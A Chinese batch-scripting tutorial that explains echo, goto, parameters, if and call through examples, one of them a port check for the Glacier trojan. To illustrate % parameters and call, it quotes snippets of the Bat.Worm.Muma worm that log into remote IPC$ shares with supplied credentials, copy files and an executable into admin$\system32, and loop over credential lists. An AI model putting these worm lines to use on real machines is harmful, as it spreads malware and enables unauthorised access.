明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

批處理整理集合

[摘要]這是一篇技術(shù)教程, 真心誠(chéng)意會(huì)用很簡(jiǎn)單的文字表達(dá)清楚自己的意思, 只要你識(shí)字就能看懂, 就能學(xué)到知識(shí)。   寫(xiě)這篇教程的目的, 是讓每一個(gè)看過(guò)這些文字的朋友記住一句話:如果愛(ài)可以讓事情變的更簡(jiǎn)...

這是一篇技術(shù)教程, 真心誠(chéng)意會(huì)用很簡(jiǎn)單的文字表達(dá)清楚自己的意思, 只要你識(shí)字就能看懂, 就能學(xué)到知識(shí)。

  寫(xiě)這篇教程的目的, 是讓每一個(gè)看過(guò)這些文字的朋友記住一句話:如果愛(ài)可以讓事情變的更簡(jiǎn)單, 那么就讓它簡(jiǎn)單吧!看這篇教程的方法, 就是慢!慢慢的, 如同品一個(gè)女人、一杯茗茶, 你會(huì)發(fā)現(xiàn)很多以前就在眼前的東西突然變的很遙遠(yuǎn), 而有些很遙遠(yuǎn)的東西卻又突然回到了眼前。 ..

  先概述一下批處理是個(gè)什么東東。 批處理的定義, 至今我也沒(méi)能給出一個(gè)合適的----眾多高手們也都沒(méi)給出----反正我不知道---看了我也不一定信服----我是個(gè)菜鳥(niǎo), 當(dāng)然就更不用說(shuō)了;但我想總結(jié)出一個(gè)“比較合適的”, 而且我也相信自己可以把它解釋的很清楚, 讓更多的菜鳥(niǎo)都知道這是個(gè)什么東東, 你用這個(gè)東東可以干什么事情。 或許你會(huì)因?yàn)檫@篇文章而“無(wú)條件愛(ài)上批處理”, 那么我的目的就達(dá)到了----我就是要讓你愛(ài)上它, 我就這么拽, 你能怎么著??真的, 愛(ài)有時(shí)候就這么拽, 就是這么沒(méi)理由, 就是這么不要臉!真的!

  按照我的理解, 批處理的本質(zhì), 是一堆DOS命令按一定順序排列而形成的集合。

  OK,never claver and get to business(閑話少說(shuō)言歸正傳)。 批處理, 也稱為批處理腳本, 英文譯為BATCH, 批處理文件后綴BAT就取的前三個(gè)字母。 它的構(gòu)成沒(méi)有固定格式, 只要遵守以下這條就ok了:每一行可視為一個(gè)命令, 每個(gè)命令里可以含多條子命令, 從第一行開(kāi)始執(zhí)行, 直到最后一行結(jié)束, 它運(yùn)行的平臺(tái)是DOS。 批處理有一個(gè)很鮮明的特點(diǎn):使用方便、靈活, 功能強(qiáng)大, 自動(dòng)化程度高。 我不想讓自己寫(xiě)的教程枯燥無(wú)味, 因?yàn)闋坷p到代碼(批處理的內(nèi)容算是代碼吧?)的問(wèn)題本來(lái)就是枯燥的, 很少有人能面對(duì)滿屏幕的代碼而靜下心來(lái)。 所以我會(huì)用很多簡(jiǎn)單實(shí)用的例子讓讀這篇教程的朋友去體會(huì)批處理的那四射的魅力, 感受它那古靈精怪的性格, 不知不覺(jué)中愛(ài)上批處理(暈, 怎么又是愛(ài)?到底批處理和愛(ài)有什么關(guān)系?答案:沒(méi)有。 再說(shuō)句“閑話”:要學(xué)好批處理, DOS基礎(chǔ)一定要牢!當(dāng)然腦子靈活也是很重要的一方面。

  例一、先給出一個(gè)最easy的批處理腳本讓大家和它混個(gè)臉熟, 將下面的幾行命令保存為name.bat然后執(zhí)行(以后文中只給出代碼, 保存和執(zhí)行方式類似):

  ping sz.tencent.com > a.txt

  ping sz1.tencent.com >> a.txt

  ping sz2.tencent.com >> a.txt

  ping sz3.tencent.com >> a.txt

  ping sz4.tencent.com >> a.txt

  ping sz5.tencent.com >> a.txt

  ping sz6.tencent.com >> a.txt

  ping sz7.tencent.com >> a.txt

  exit

  是不是都能看的懂?是不是很easy?但它的作用卻是很實(shí)用的, 執(zhí)行這個(gè)批處理后, 可以在你的當(dāng)前盤(pán)建立一個(gè)名為a.txt的文件, 它里面記錄的信息可以幫助你迅速找到速度最快的QQ服務(wù)器, 從而遠(yuǎn)離“從服務(wù)器中轉(zhuǎn)”那一痛苦的過(guò)程。 這里>的意思, 是把前面命令得到的東西放到后面所給的地方, >>的作用, 和>的相同, 區(qū)別是把結(jié)果追加到前一行得出的結(jié)果的后面, 具體的說(shuō)是下一行, 而前面一行命令得出的結(jié)果將保留, 這樣可以使這個(gè)a.txt文件越來(lái)越大(想到如何搞破壞了??)。 By the way, 這個(gè)批處理還可以和其他命令結(jié)合, 搞成完全自動(dòng)化判斷服務(wù)器速度的東東, 執(zhí)行后直接顯示速度最快的服務(wù)器IP, 是不是很爽?后面還將詳細(xì)介紹。

  例二、再給出一個(gè)已經(jīng)過(guò)時(shí)的例子(a.bat):

  @echo off

  if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

  a.bat

  為什么說(shuō)這是個(gè)過(guò)時(shí)的例子呢?很簡(jiǎn)單, 因?yàn)楝F(xiàn)在已經(jīng)幾乎沒(méi)有人用帶廣告的QQ了(KAO, 我的QQ還顯示好友三圍呢。。, 所以它幾乎用不上了。 但曾經(jīng)它的作用是不可小窺的:刪除QQ的廣告, 讓對(duì)話框干干凈凈。 這里用的地址是QQ的默認(rèn)安裝地址, 默認(rèn)批處理文件名為a.bat, 你當(dāng)然可以根據(jù)情況自行修改。 在這個(gè)腳本中使用了if命令, 使得它可以達(dá)到適時(shí)判斷和刪除廣告圖片的效果, 你只需要不關(guān)閉命令執(zhí)行后的DOS窗口, 不按CTRL+C強(qiáng)行終止命令, 它就一直監(jiān)視是否有廣告圖片(QQ也再不斷查看自己的廣告是否被刪除)。 當(dāng)然這個(gè)腳本占用你一點(diǎn)點(diǎn)內(nèi)存, 呵呵

  學(xué)會(huì)批處理!真心想學(xué)很容易!

  例三, 使用批處理腳本查是否中冰河。 腳本內(nèi)容如下:

  @echo off

  netstat -a -n > a.txt

  type a.txt find "7626" && echo "Congratulations! You have infected GLACIER!"

  del a.txt

  pause & exit

  這里利用了netstat命令, 檢查所有的網(wǎng)絡(luò)端口狀態(tài), 只需要你清楚常見(jiàn)木馬所使用的端口, 就能很easy的判斷出來(lái)是否被人種了冰河。 然這不是確定的, 因?yàn)楸幽J(rèn)的端口7626, 完全可以被人修改。 這里介紹的只是方法和思路。 這里介紹的是方法和思路稍做改動(dòng), 就變成可以檢查其他木馬的腳本了, 再改動(dòng)一下, 加進(jìn)去參數(shù)和端口及信息列表文件后, 就變成自動(dòng)檢測(cè)所有木馬的腳本了。 呵呵, 是不是很過(guò)癮?腳本中還利用了組合命令&&和管道命令 , 后面將詳細(xì)介紹。

  例四, 借批處理自動(dòng)清除系統(tǒng)垃圾, 腳本如下:

  @echo off

  if exist c:\windows\temp\*.* del c:\windows\temp\*.*

  if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*

  if exist c:\windows\History\*.* del c:\windows\History\*.*

  if exist c:\windows\recent\*.* del c:\windows\recent\*.*

  將以上腳本內(nèi)容保存到autoexec.bat里, 每次開(kāi)機(jī)時(shí)就把系統(tǒng)垃圾給自動(dòng)刪除了。 這里需要注意兩點(diǎn):一、DOS不支持長(zhǎng)文件名, 所以就出現(xiàn)了Tempor~1這個(gè)東東;二、可根據(jù)自己的實(shí)際情況進(jìn)行改動(dòng), 使其符合自己的要求。

  怎么樣, 看到這里, 你對(duì)批處理腳本是不是已經(jīng)有點(diǎn)興趣了?是不是發(fā)現(xiàn)自己已經(jīng)慢慢愛(ài)上了這個(gè)東東?別高興的太早, 愛(ài)不是一件簡(jiǎn)單的事, 它也許能帶給你快樂(lè)和幸福, 當(dāng)然也能讓你痛苦的想去跳樓。 如果你知道很難還敢繼續(xù)的話, I 服了 YOU!繼續(xù)努力吧, 也許到最后你不一定得到真愛(ài)(真的有這可能, 愛(ài)過(guò)的人都知道), 但你可以體會(huì)到整個(gè)愛(ài)的過(guò)程, 就是如此。 酸、苦和辣, 有沒(méi)有甜天知道。

  為什么會(huì)把批處理和愛(ài)情扯上關(guān)系?不是我無(wú)聊, 也不是因?yàn)檫@樣寫(xiě)有趣多少, 原因有二:其一, 批處理和愛(ài)情有很多相同的地方, 有些地方我用“專業(yè)”的行話解釋不清(我不懷疑自己的表達(dá)能力, 而是事情本身就不好說(shuō)清楚), 說(shuō)了=沒(méi)說(shuō), 但用地球人都知道的愛(ài)情一比喻(愛(ài)情是什么?我**怎么知道。。, 沒(méi)準(zhǔn)你心里一下就亮堂了, 事半功倍, 何樂(lè)而不為?其二, 我這段時(shí)間狀態(tài)不是很好, 感冒發(fā)燒頭疼鼻塞, 但主要還是感情上精神摧殘, 搞的人煩透了, 借寫(xiě)教程之際感慨幾句, 大家就全當(dāng)買(mǎi)狗皮膏藥了, 完全可以省略不看(也許還真有點(diǎn)效果----不至于讓你看著看著就睡著了, 把頭磕了來(lái)找我報(bào)銷醫(yī)藥費(fèi))。 說(shuō)不定下次的教程中大家還會(huì)看到楊過(guò)、張無(wú)忌等金老前輩筆下的英雄們。

  看過(guò)第一章的朋友, 一定對(duì)批處理有了初步的印象, 知道它到底是用來(lái)干什么的了。 但你知道運(yùn)用批處理的精髓在哪里嗎?其實(shí)很簡(jiǎn)單:思路要靈活!沒(méi)有做不到的, 只有想不到的。 這和愛(ài)情就有點(diǎn)不同了, 因?yàn)閻?ài)情的世界是兩個(gè)人的世界, 一廂情愿不叫愛(ài)情(補(bǔ)充:那叫單戀。 廢話。┒幚韰s是一個(gè)人的天堂, 你可以為所欲為, 沒(méi)有達(dá)不到的境界!

  批處理看起來(lái)雜亂無(wú)章, 但它的邏輯性之強(qiáng), 絕對(duì)不比其他程序語(yǔ)言(如匯編)低, 如果你寫(xiě)的腳本是一堆亂麻, 雖然每一行命令都正確, 但從頭執(zhí)行到尾后, 不一定得到你想要的結(jié)果, 也許是一屏幕的Bad command or fail name。 這又和愛(ài)情有了共同點(diǎn):按步驟來(lái)經(jīng)營(yíng), 缺少或增多的步驟都可能導(dǎo)致不想看見(jiàn)的結(jié)果。 陷入愛(ài)河的朋友, 相信沒(méi)有不肯定這句話的。 我的愛(ài)情批處理, 輸出的結(jié)果不是Bad command or fail name, 屏幕是這么顯示的:‘你的愛(ài)情'不是內(nèi)部或外部命令, 也不是可運(yùn)行的程序或批處理文件。 然后就是光標(biāo)不停閃動(dòng), 等待這下一次錯(cuò)誤的輸入。

  從這一章開(kāi)始, 將由淺入深的介紹批處理中常用的命令, 很多常見(jiàn)DOS命令在批處理腳本中有這廣泛的應(yīng)用, 它們是批處理腳本的BODY部分, 但批處理比DOS更靈活多樣, 更具備自動(dòng)化。 要學(xué)好批處理, DOS一定要有比較扎實(shí)的基礎(chǔ)。 這里只講述一些比較少用(相對(duì)來(lái)說(shuō))的DOS命令, 常用命令如COPY、DIR等就不做介紹了(這些看似簡(jiǎn)單的命令實(shí)際復(fù)雜的很, 我怕自己都說(shuō)不清楚。

  例五, 先看一個(gè)實(shí)例。 這是一個(gè)很有意思的腳本, 一個(gè)小巧實(shí)用的好東東, 把批處理“自動(dòng)化”的特點(diǎn)體現(xiàn)的淋漓盡致。 先介紹一下這個(gè)腳本的來(lái)歷:大家都知道匯編程序(MASM)的上機(jī)過(guò)程, 先要對(duì)源代碼進(jìn)行匯編、連接, 然后再執(zhí)行, 而這中間有很多環(huán)節(jié)需要輸入很多東西, 麻煩的很(只有經(jīng)歷過(guò)的朋友才懂得)。 如何使這個(gè)過(guò)程變的簡(jiǎn)單呢?在我們搞匯編課程設(shè)計(jì)時(shí), 我“被逼”寫(xiě)了這個(gè)腳本, 用起來(lái)很爽, 呵呵。 看看腳本內(nèi)容:

  @echo off

  ::close echo

  cls

  ::clean screen

  echo This programme is to make the MASM programme automate

  ::display info

  echo Edit by CODERED

  ::display info

  echo Mailto me : qqkiller***@sina.com

  ::display info

  if "%1"=="" goto usage

  ::if input without paramater goto usage

  if "%1"=="/?" goto usage

  ::if paramater is "/?" goto usage

  if "%1"=="help" goto usage

  ::if paramater is "help" goto usage

  pause

  ::pause to see usage

  masm %1.asm

  ::assemble the .asm code

  if errorlevel 1 pause & edit %1.asm

  ::if error pause to see error msg and edit the code

  link %1.obj & %1

  ::else link the .obj file and execute the .exe file

  :usage

  ::set usage

  echo Usage: This BAT file name [asm file name]

  echo Default BAT file name is START.BAT

  ::display usage

  先不要被這一堆的東西給嚇怕了, 靜下心來(lái)仔細(xì)的看(回想一下第一章中第一段是怎么寫(xiě)的。。。 已經(jīng)給出了每一行命令的解釋, 兩個(gè)冒號(hào)后面的內(nèi)容為前一行內(nèi)容解釋的E文(害怕E文的朋友也不用擔(dān)心, 都很easy, 一看就懂了, 實(shí)在不懂了不會(huì)查詞典啊, 這么懶?), 在腳本執(zhí)行時(shí)不顯示, 也不起任何作用。 倒數(shù)第5行行首有一個(gè)冒號(hào), 可不是筆誤哦!具體作用后面會(huì)詳細(xì)講到。 此腳本中masm和link是匯編程序和連接程序, 必須和edit程序以及你要編輯的源代碼(當(dāng)然還有這個(gè)腳本, 廢話!)一起在當(dāng)前目錄中。 使用這個(gè)批處理腳本, 可以最大可能的減少手工輸入, 整個(gè)過(guò)程中只需要按幾下回車(chē)鍵, 即可實(shí)現(xiàn)從匯編源代碼到可執(zhí)行exe文件的自動(dòng)化轉(zhuǎn)換, 并具備智能判斷功能:如果匯編時(shí)源代碼出現(xiàn)錯(cuò)誤(匯編不成功), 則自動(dòng)暫停顯示錯(cuò)誤信息, 并在按任意鍵后自動(dòng)進(jìn)入編輯源代碼界面;如果源代碼匯編成功, 則進(jìn)行連接, 并在連接后自動(dòng)執(zhí)行生成的exe文件。 另外, 由于批處理命令的簡(jiǎn)單性和靈活性, 這個(gè)腳本還具備良好的可改進(jìn)性, 簡(jiǎn)單進(jìn)行修改就可以符合不同朋友的上機(jī)習(xí)慣。 正在學(xué)匯編的朋友, 一定別忘了實(shí)習(xí)一下!

  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

  學(xué)習(xí)批處理!包你學(xué)會(huì)(二)

  作者:未知 文章來(lái)源:網(wǎng)絡(luò)收集 點(diǎn)擊數(shù):2346 更新時(shí)間:2006-5-15

  在這個(gè)腳本中出現(xiàn)了如下幾個(gè)命令:@、echo、::、pause、:和goto、%以及if。 而這一章就將講述這幾個(gè)命令。

  1、@

  這個(gè)符號(hào)大家都不陌生, email的必備符號(hào), 它怎么會(huì)跑到批處理中呢?呵呵, 不是它的錯(cuò), 批處理本來(lái)就離不開(kāi)它, 要不就不完美了。 它的作用是讓執(zhí)行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話。 呵呵, 通俗一點(diǎn)說(shuō), 行首有了它的話, 這一行的命令就不顯示了。 在例五中, 首行的@echo off中, @的作用就是讓腳本在執(zhí)行時(shí)不顯示后面的echo off部分。 這下懂了吧?還是不太懂?沒(méi)關(guān)系, 看完echo命令簡(jiǎn)介, 自然就懂了。

  2、echo

  中文為“反饋”、“回顯”的意思。 它其實(shí)是一個(gè)開(kāi)關(guān)命令, 就是說(shuō)它只有兩種狀態(tài):打開(kāi)和關(guān)閉。 于是就有了echo on和echo off兩個(gè)命令了。 直接執(zhí)行echo命令將顯示當(dāng)前echo命令狀態(tài)(off或on)執(zhí)行echo off將關(guān)閉回顯, 它后面的所有命令都不顯示命令本身, 只顯示執(zhí)行后的結(jié)果, 除非執(zhí)行echo on命令。 在例五中, 首行的@命令和echo off命令聯(lián)合起來(lái), 達(dá)到了兩個(gè)目的:不顯示echo off命令本身, 不顯示以后各行中的命令本身。 的確是有點(diǎn)亂, 但你要是練習(xí)一下的話, 3分鐘包會(huì), 不會(huì)的退錢(qián)!

  echo命令的另一種用法一:可以用它來(lái)顯示信息!如例五中倒數(shù)第二行, Default BAT file name is START.BAT將在腳本執(zhí)行后的窗口中顯示, 而echo命令本身不顯示(為什么??)。

  echo命令的另一種用法二:可以直接編輯文本文件。 例六:

  echo nbtstat -A 192.168.0.1 > a.bat

  echo nbtstat -A 192.168.0.2 >> a.bat

  echo nbtstat -A 192.168.0.3 >> a.bat

  以上腳本內(nèi)容的編輯方法是, 直接是命令行輸入, 每行一回車(chē)。 最后就會(huì)在當(dāng)前目錄下生成一個(gè)a.bat的文件, 直接執(zhí)行就會(huì)得到結(jié)果。

  3、::

  這個(gè)命令的作用很簡(jiǎn)單, 它是注釋命令, 在批處理腳本中和rem命令等效。 它后面的內(nèi)容在執(zhí)行時(shí)不顯示, 也不起任何作用, 因?yàn)樗皇亲⑨專?只是增加了腳本的可讀性, 和C語(yǔ)言中的/*…………*/類似。 地球人都能看懂, 就不多說(shuō)了。

  4、pause

  中文為“暫停”的意思(看看你的workman上), 我一直認(rèn)為它是批處理中最簡(jiǎn)單的一個(gè)命令, 單純、實(shí)用。 它的作用, 是讓當(dāng)前程序進(jìn)程暫停一下, 并顯示一行信息:請(qǐng)按任意鍵繼續(xù). . .。 在例五中這個(gè)命令運(yùn)用了兩次, 第一次的作用是讓使用者看清楚程序信息, 第二個(gè)是顯示錯(cuò)誤的匯編代碼信息(其實(shí)不是它想顯示, 而是masm程序在顯示錯(cuò)誤信息時(shí)被暫它停了, 以便讓你看清楚你的源代碼錯(cuò)在哪里)。

  5、:和goto

  為什么要把這兩個(gè)命令聯(lián)合起來(lái)介紹?因?yàn)樗鼈兪欠植婚_(kāi)的, 無(wú)論少了哪個(gè)或多了哪個(gè)都會(huì)出錯(cuò)。 goto是個(gè)跳轉(zhuǎn)命令, :是一個(gè)標(biāo)簽。 當(dāng)程序運(yùn)行到goto時(shí), 將自動(dòng)跳轉(zhuǎn)到:定義的部分去執(zhí)行了(是不是分不開(kāi)?)。 例五中倒數(shù)第5行行首出現(xiàn)一個(gè):, 則程序在運(yùn)行到goto時(shí)就自動(dòng)跳轉(zhuǎn)到:標(biāo)簽定義的部分執(zhí)行, 結(jié)果是顯示腳本usage(usage就是標(biāo)簽名稱)。 不難看出, goto命令就是根據(jù)這個(gè)冒號(hào)和標(biāo)簽名稱來(lái)尋找它該跳轉(zhuǎn)的地方, 它們是一一對(duì)應(yīng)的關(guān)系。 goto命令也經(jīng)常和if命令結(jié)合使用。 至于這兩個(gè)命令具體用法, 參照例五。

  goto命令的另一種用法一:提前結(jié)束程序。 在程序中間使用goto命令跳轉(zhuǎn)到某一標(biāo)簽, 而這一標(biāo)簽的內(nèi)容卻定義為退出。 如:

  ……

  goto end

  ……

  :end

  這里:end在腳本最后一行!其實(shí)這個(gè)例子很弱智, 后面講了if命令和組合命令你就知道了。

  6、%

  這個(gè)百分號(hào)嚴(yán)格來(lái)說(shuō)是算不上命令的, 它只是批處理中的參數(shù)而已(多個(gè)%一起使用的情況除外, 以后還將詳細(xì)介紹), 但千萬(wàn)別以為它只是參數(shù)就小看了它(看看例五中有多少地方用到它?), 少了它批處理的功能就減少了51%了。 看看例七:

  net use \\%1\ipc$ %3 /u:"%2"

  copy 11.BAT \\%1\admin$\system32 /y

  copy 13.BAT \\%1\admin$\system32 /y

  copy ipc2.BAT \\%1\admin$\system32 /y

  copy NWZI.EXE \\%1\admin$\system32 /y

  attrib \\%1\admin$\system32\10.bat -r -h -s

  以上代碼是Bat.Worm.Muma病毒中的一部分, %1代表的IP, 2%代表的username, 3%代表password。 執(zhí)行形式為:腳本文件名 參數(shù)一 參數(shù)二 ……。 假設(shè)這個(gè)腳本被保存為a.bat, 則執(zhí)行形式如下:a IP username password。 這里IP、username、password是三個(gè)參數(shù), 缺一不可(因?yàn)槌绦虿荒苷_運(yùn)行, 并不是因?yàn)樯倭藚?shù)語(yǔ)法就不對(duì))這樣在腳本執(zhí)行過(guò)程中, 腳本就自動(dòng)用用你的三個(gè)參數(shù)依次(記住, 是依次!也是一一對(duì)應(yīng)的關(guān)系。 )代換1%、2%和3%, 這樣就達(dá)到了靈活運(yùn)用的目的(試想, 如果在腳本中直接把IP、username和password都定義死, 那么腳本的作用也就被固定了, 但如果使用%的話, 不同的參數(shù)可以達(dá)到不同的目的, 是不是更靈活?)。

  關(guān)于這個(gè)參數(shù)的使用, 在后續(xù)章節(jié)中還將介紹。 一定要非常熟練才行, 這需要很多練習(xí)過(guò)程, 需要下點(diǎn)狠工夫!

  這一章就寫(xiě)到這里了。 可能有朋友問(wèn)了:怎么沒(méi)介紹if命令?呵呵, 不是我忘了, 而是它不容易說(shuō)清楚, 下一章再講了!這一章講的這點(diǎn)東西, 如果你是初學(xué)者, 恐怕也夠消化的了。 記住一句話:DOS是批處理的BODY, 任何一個(gè)DOS命令都可以被用在批處理腳本中去完成特定的功能。 到這里, 你是否已經(jīng)想到了用自己肚子里的東西去寫(xiě)點(diǎn)帶有自動(dòng)化色彩的東東呢?很簡(jiǎn)單, 就是一個(gè)DOS命令的集合而已, 相信自稱為天才的你已經(jīng)會(huì)把計(jì)算機(jī)等級(jí)考試上機(jī)試題中的DOS部分用批處理來(lái)自動(dòng)化完成了。

  煩!就好象一個(gè)半老女人到了更年期, 什么事都想嘮叨幾句, 什么事都感到不舒服, 看誰(shuí)誰(shuí)不爽。 明知山有虎, 偏向虎山行, 最后留下一身傷痕無(wú)功而返時(shí), 才發(fā)現(xiàn)自己竟然如此脆弱, 如此渺小, 如此不堪一擊。 徘徊在崩潰的邊緣, 突然回想起了自己最后一次扁人的那一刻, 還真有點(diǎn)懷念(其實(shí)我很不喜歡扁人, 更不喜歡被人扁)。 我需要發(fā)泄, 我用手指拼命的敲打著鍵盤(pán), 在一陣接一陣有節(jié)奏的聲音中, 屏幕上出現(xiàn)了上面的這些文字。 可難道這就是發(fā)泄的另一種方式嗎?中國(guó)人還是厲害, 早在幾千年前孔老夫子就說(shuō)過(guò)“唯女子與小人, 難養(yǎng)也”, 真**有先見(jiàn)之明, 佩服!雖然是在發(fā)泄, 不過(guò)大家請(qǐng)放心, 以我的脾氣, 既然決定寫(xiě)這篇教程, 就一定會(huì)盡力去寫(xiě)好, 寫(xiě)完美, 絕對(duì)不給自己留下遺憾, 要不這教程就不是我寫(xiě)的!

  曾經(jīng)有一篇經(jīng)典的批處理教程出現(xiàn)在你的屏幕上, 你沒(méi)有保存, 直到找不到它的鏈接你才后悔莫及, 人世間最大的痛苦莫過(guò)于此。 如果上天能給你一個(gè)再看一次的機(jī)會(huì), 你會(huì)對(duì)那篇教程說(shuō)三個(gè)字:我愛(ài)你!如果非要給這份愛(ài)加上一個(gè)期限, 你希望是100年。 因?yàn)?00年后, 你恐怕早已經(jīng)掛了!而現(xiàn)在, 你的屏幕上出現(xiàn)了這篇你正在看的批處理教程, 雖然不如你曾經(jīng)看的那篇經(jīng)典, 但如果勉強(qiáng)還過(guò)的去。 你會(huì)愛(ài)它嗎?時(shí)間會(huì)有50年那么長(zhǎng)嗎?答案是:試試看吧。

  批處理腳本中最重要的幾個(gè)命令, 將在這一章詳細(xì)介紹, 但是很遺憾, 有些細(xì)節(jié)到現(xiàn)在我都沒(méi)掌握的很好, 甚至還有些生分。 如同還不太懂得愛(ài)一樣。 但我一直都在努力, 即使一直都沒(méi)有收獲。 所以可能講的會(huì)比較籠統(tǒng), 但我會(huì)告訴你方法, 剩下的就是時(shí)間問(wèn)題了, 需要自己去磨練。 讓我們共同努力吧。 冰凍三尺非一日之寒, 滴水穿石非一日之功。 有些事情, 比如學(xué)批處理, 比如愛(ài)一個(gè)人, 都是不能速成的, 甚至還會(huì)有付出艱辛而收獲為甚微的情況。 再次重申, 看這篇教程的時(shí)候, 一定要靜下心來(lái), 除非你已經(jīng)掌握了這篇教程的所有東西----但那也就不必看了, 浪費(fèi)時(shí)間!

  7、if

  接上一章, 接著講if命令。 總的來(lái)說(shuō), if命令是一個(gè)表示判斷的命令, 根據(jù)得出的每一個(gè)結(jié)果, 它都可以對(duì)應(yīng)一個(gè)相應(yīng)的操作。 關(guān)于它的三種用法, 在這里分開(kāi)講。

  (1)、輸入判斷。 還是用例五里面的那幾句吧:

  if "%1"=="" goto usage

  if "%1"=="/?" goto usage

  if "%1"=="help" goto usage

  這里判斷輸入的參數(shù)情況, 如果參數(shù)為空(無(wú)參數(shù)), 則跳轉(zhuǎn)到usage;如果參數(shù)為/?或help時(shí)(大家一般看一個(gè)命令的幫助, 是不是輸入的/?或help呢, 這里這么做只是為了讓這個(gè)腳本看起來(lái)更像一個(gè)真正的程序), 也跳轉(zhuǎn)到usage。 這里還可以用否定形式來(lái)表示“不等于”, 例如:if not "%1"=="" goto usage, 則表示如果輸入?yún)?shù)不為空就跳轉(zhuǎn)到usage(實(shí)際中這樣做就沒(méi)意義了, 這里介紹用法, 管不了那么多了, 呵呵。 )是不是很簡(jiǎn)單?其實(shí)翻譯成中文體會(huì)一下就understand了。

  (2)、存在判斷。 再看例二里這句:

  if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif

  如果存在那些gif文件, 就刪除這些文件。 當(dāng)然還有例四, 都是一樣的道理。 注意, 這里的條件判斷是判斷存在的, 當(dāng)然也可以判斷不存在的, 例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。 只是多一個(gè)not來(lái)表示否定而已。

  (3)、結(jié)果判斷。 還是拿例五開(kāi)刀(沒(méi)想到自己寫(xiě)的腳本, 竟然用處這么大, 呵呵):

  masm %1.asm

  if errorlevel 1 pause & edit %1.asm

  link %1.obj

  先對(duì)源代碼進(jìn)行匯編, 如果失敗則暫停顯示錯(cuò)誤信息, 并在按任意鍵后自動(dòng)進(jìn)入編輯界面;否則用link程序連接生成的obj文件。 這里只介紹一下和if命令有關(guān)的地方, &命令后面會(huì)講到。 這種用法是先判斷前一個(gè)命令執(zhí)行后的返回碼(也叫錯(cuò)誤碼, DOS程序在運(yùn)行完后都有返回碼), 如果和定義的錯(cuò)誤碼符合(這里定義的錯(cuò)誤碼為1), 則執(zhí)行相應(yīng)的操作(這里相應(yīng)的操作為pause & edit %1.asm部分)。

  另外, 和其他兩種用法一樣, 這種用法也可以表示否定。 用否定的形式仍表達(dá)上面三句的意思, 代碼變?yōu)椋?/p>

  masm %1.asm

  if not errorlevel 1 link %1.obj

  pause & edit %1.asm

  看到本質(zhì)了吧?其實(shí)只是把結(jié)果判斷后所執(zhí)行的命令互換了一下, “if not errorlevel 1”和“if errorlevel 0”的效果是等效的, 都表示上一句masm命令執(zhí)行成功(因?yàn)樗清e(cuò)誤判斷, 而且返回碼為0, 0就表示否定, 就是說(shuō)這個(gè)錯(cuò)誤不存在, 就是說(shuō)masm執(zhí)行成功)。 這里是否加not, 錯(cuò)誤碼到底用0還是1, 是值得考慮的兩個(gè)問(wèn)題, 一旦搭配不成功腳本就肯定出錯(cuò), 所以一定要體會(huì)的很深刻才行。 如何體會(huì)的深刻?練習(xí)!自己寫(xiě)一個(gè)腳本, 然后把有not和沒(méi)有not的情況, 返回碼為0或1的情況分別寫(xiě)進(jìn)去執(zhí)行(怎么, 嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了?后面介紹管道命令和組合命令時(shí)還有更麻煩的呢!怕了?呵呵。 ), 這樣從執(zhí)行的結(jié)果中就能很清楚的看出這兩種情況的區(qū)別。

  這種用errorlevel結(jié)果判斷的用法是if命令最難的用法, 但也恰恰是最有用的用法, 如果你不會(huì)用errorlevel來(lái)判斷返回碼, 則要達(dá)到相同的效果, 必須用else來(lái)表示“否則”的操作, 是比較麻煩的。 以上代碼必須變成:

  masm %1.asm

  if exist %1.obj link %1.obj

  else pause & edit %1.asm

  關(guān)于if命令的這三種用法就say到這里, 理解很簡(jiǎn)單, 但應(yīng)用時(shí)就不一定用的那么得心應(yīng)手, 主要是熟練程度的問(wèn)題。 可能有的朋友有點(diǎn)驚訝, 我怎么沒(méi)給出類似下面三行的用法介紹, 是因?yàn)橄旅嫒惺莍f命令幫助里對(duì)它自身用法的解釋, 任何人只要一個(gè)“if /?”就能看到, 我沒(méi)有必要在這里多費(fèi)口舌;更重要的原因, 是我覺(jué)得這樣介紹的不清楚, 看的人不一定看的懂, 所以我采用上面自己對(duì)if命令的理解來(lái)介紹。 一定要注意的是, 這三種用法的格式各不相同, 而且也是不能改變的, 但實(shí)際上可以互換(以為從本質(zhì)上講, 這三種用法都是建立在判斷的基礎(chǔ)上的, 哲學(xué)教我們學(xué)會(huì)透過(guò)現(xiàn)象看事物本質(zhì)。 有興趣的朋友可以自己研究一下。

  IF [NOT] ERRORLEVEL number do command

  IF [NOT] string1==string2 do command

  IF [NOT] EXIST filename do command

  8、call

  學(xué)過(guò)匯編或C的朋友, 肯定都知道call指令表示什么意思了, 在這里它的意思其實(shí)也是一樣的。 在批處理腳本中, call命令用來(lái)從一個(gè)批處理腳本中調(diào)用另一個(gè)批處理腳本。 看例八(默認(rèn)的三個(gè)腳本文件名分別為start.bat、10.bat和ipc.bat):

  start.bat:

  ……

  CALL 10.BAT 0

  ……

  10.bat:

  ……

  ECHO %IPA%.%1 >HFIND.TMP

  ……

  CALL ipc.bat IPCFind.txt

  ipc.bat:

  for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

  有沒(méi)有看出什么不對(duì)的地方?沒(méi)看出來(lái)。繘](méi)看出來(lái)就對(duì)了, 其實(shí)就沒(méi)有不對(duì)的地方嘛, 你怎么看的出來(lái)!從上面兩個(gè)腳本, 你可以得到如下信息:1、腳本調(diào)用可以靈活運(yùn)用, 循環(huán)運(yùn)用、重復(fù)運(yùn)用。 2、腳本調(diào)用可以使用參數(shù)!關(guān)于第一點(diǎn)就不多說(shuō)了, 聰明的你一看就應(yīng)該會(huì), 這里說(shuō)一下第二點(diǎn)。

